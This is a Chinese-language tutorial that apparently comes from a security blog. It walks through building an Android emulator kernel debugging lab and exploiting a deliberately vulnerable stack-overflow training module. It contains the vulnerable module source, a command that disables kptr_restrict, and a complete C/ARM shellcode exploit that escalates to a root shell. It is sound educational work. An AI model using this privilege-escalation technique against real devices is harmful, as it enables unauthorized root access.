Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰
前言
Android
的內核采用的是 Linux
內核,所以在Android
內核中進行漏洞利用其實和在 一般的 x86平臺下的 linux
內核中進行利用差不多。主要區別在於 Android
下使用的是arm
匯編以及環境的搭建方面。本文對我最近的實踐做一個分享,其實很簡單。
內核調試環境搭建
搭建平臺: ubuntu 16.04
這裏使用 android
模擬器來進行內核調試。首先下載內核代碼
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
然後下載 github
上的一個安卓漏洞利用的項目,
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
然後使用項目中的 patch
文件把 patch
內核編譯配置,來把項目中的帶漏洞的模塊編譯進 linux
內核
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
這裏註意: goldfish
目錄和 kernel_exploit_challenges
然後下載 arm-linux-androideabi-4.6
交叉編譯工具鏈 。下載完成後把它解壓後,然後把它加到環境變量中
tar xvf arm-linux-androideabi-4.6.tar.bz2
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
然後進入 goldfish
目錄,開始編譯
make goldfish_armv7_defconfig && make -j8
編譯完成後,就會有兩個主要的文件:goldfish/vmlinux
和 goldfish/arch/arm/boot/zImage
gdb
加載,後面的用於在安卓模擬器啟動時加載。
下面下載 安卓 sdk
, 用來下載和運行 安卓模擬器。
sdk
下載地址: http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
然後把sdk
解壓
tar xvf android-sdk_r24.4.1-linux.tgz
把 android-sdk-linux/tools 加入環境變量,把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>
export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
然後重新打開一個shell, 使用下面的命令 <要先下載jdk ,並且設置好環境變量>
android
然後把下面標註的兩個下載下來
來
下載完後。首先查看下載的鏡像文件
$android list targets
Available Android targets:
----------
id: 1 or "android-19"
Name: Android 4.4.2
Type: Platform
API level: 19
Revision: 4
Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in
然後創建 模擬器
android create avd --force -t "android-19" -n kernel_challenges
然後進入 goldfish 目錄,使用下面的命令來使用我們的內核來運行模擬器,並在 1234 端口起一個 gdbserver 來方便進行 內核調試
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
第一次運行有類似的結果:
$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
WARNING: userdata image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 576716800
Block size: 4096
Blocks per group: 32768
Inodes per group: 7040
Inode size: 256
Journal blocks: 2200
Label:
Blocks: 140800
Block groups: 5
Reserved block group size: 39
Created filesystem with 11/35200 inodes and 4536/140800 blocks
WARNING: cache image already in use, changes will not persist!
Creating filesystem with parameters:
Size: 69206016
Block size: 4096
Blocks per group: 32768
Inodes per group: 4224
Inode size: 256
Journal blocks: 1024
Label:
Blocks: 16896
Block groups: 1
Reserved block group size: 7
Created filesystem with 11/4224 inodes and 1302/16896 blocks
......................
......................
......................
為了便於後面的操作我們需要把 交叉編譯工具鏈 添加到環境變量裏。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>
export
PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
然後重新開個 shell, 進入到 goldfish 目錄,加載 vmlinux 以便調試內核
arm-linux-androideabi-gdb vmlinux
如果一切正常,應該可以得到下面的類似輸出
GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from <REDACTED>/goldfish/vmlinux...done.
(gdb)
然後連接 模擬器裏面的 調試端口
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74movpc, lr
(gdb)
如果能看到這樣的輸出說明已經可以正常進行內核調試了。
內核棧溢出漏洞利用
首先看看漏洞代碼, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c
:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void)
{
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
上述代碼會創建 /proc/stack_buffer_overflow
設備文件 ,當向該設備文件調用 write
系統調用時會調用 proc_entry_write
函數進行處理。
漏洞顯而易見,在 proc_entry_write
函數中 定義了一個 64
字節大小的棧緩沖區buf
, 然後使用 copy_from_user(&buf, ubuf, count)
從用戶空間 拷貝數據到 buf
,數據大小和內容均用戶可控。於是當我們輸入超過64
字節時我們能夠覆蓋其他的數據,比如返回地址等,進而劫持程序執行流到我們的 shellcode
中 進行提權。
首先我們來試試觸發漏洞。先把模擬器打開,然後 adb shell 進入模擬器,使用 echo 命令向 /proc/stack_buffer_overflow 設備輸入72字節的數據。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
可以看到 pc 寄存器的值 為 0x41414141 成功劫持。測試時該內核沒開 pxn ,所以我們可以在用戶態編寫shellcode讓內核去執行。提取的方式很簡單,內核態調用 commit_creds(prepare_kernel_cred(0));
提升權限為 root, 然後返回 用戶態 執行 execl("/system/bin/sh", "sh", NULL);
起一個 root
權限的 shell
, 完成提權。
下面先獲取 prepare_kernel_cred
和 commit_creds
函數的地址。在 /proc/kallsyms
文件中保存著所有的內核符號的名稱和它在內存中的位置。
不過在最近的內核版本中,為了使利用內核漏洞變得更加困難,linux
內核目前禁止一般用戶獲取符號。具體可以看這裏。
當啟用 kptr_restrict
是我們不能獲取內核符號地址的。
root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds
在本文中,把它禁用掉,不管他。
root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred
禁用掉之後,我們就可以通過 /proc/kallsyms
獲取 commit_creds
和 prepare_kernel_cred
的地址。
至此,提權的問題解決了,下面就是要回到用戶態,在x86
平臺有 iret
指令可以回到用戶態,在arm
下返回用戶態就更簡單了。在arm
下 cpsr
寄存器的 M[4:0]
位用來表示 處理器的運行模式,具體可以看這個。
所以我們把 cpsr
寄存器的 M[4:0]
位設置為 10000
後就表示 處理器進入了用戶模式。
所以現在的利用思路是:
調用
commit_creds(prepare_kernel_cred(0))
提升權限調用
mov r3, #0x40000010; MSR CPSR_c,R3;
設置cpsr
寄存器,使cpu
進入用戶模式然後執行
execl("/system/bin/sh", "sh", NULL);
起一個root
權限的shell
最後的 exp
:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
);
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) )
char buf[MAX_PAYLOAD];
memset(buf, ‘A‘, sizeof(buf));
void * pc = buf + MAX + 1 * sizeof(void*);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *) shellCode; //ret addr
/* Kaboom! */
write(fd, buf, sizeof(buf) );
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
參考鏈接
http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html
http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html
http://bobao.360.cn/learning/detail/3702.html
https://github.com/Fuzion24/AndroidKernelExploitationPlayground
Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰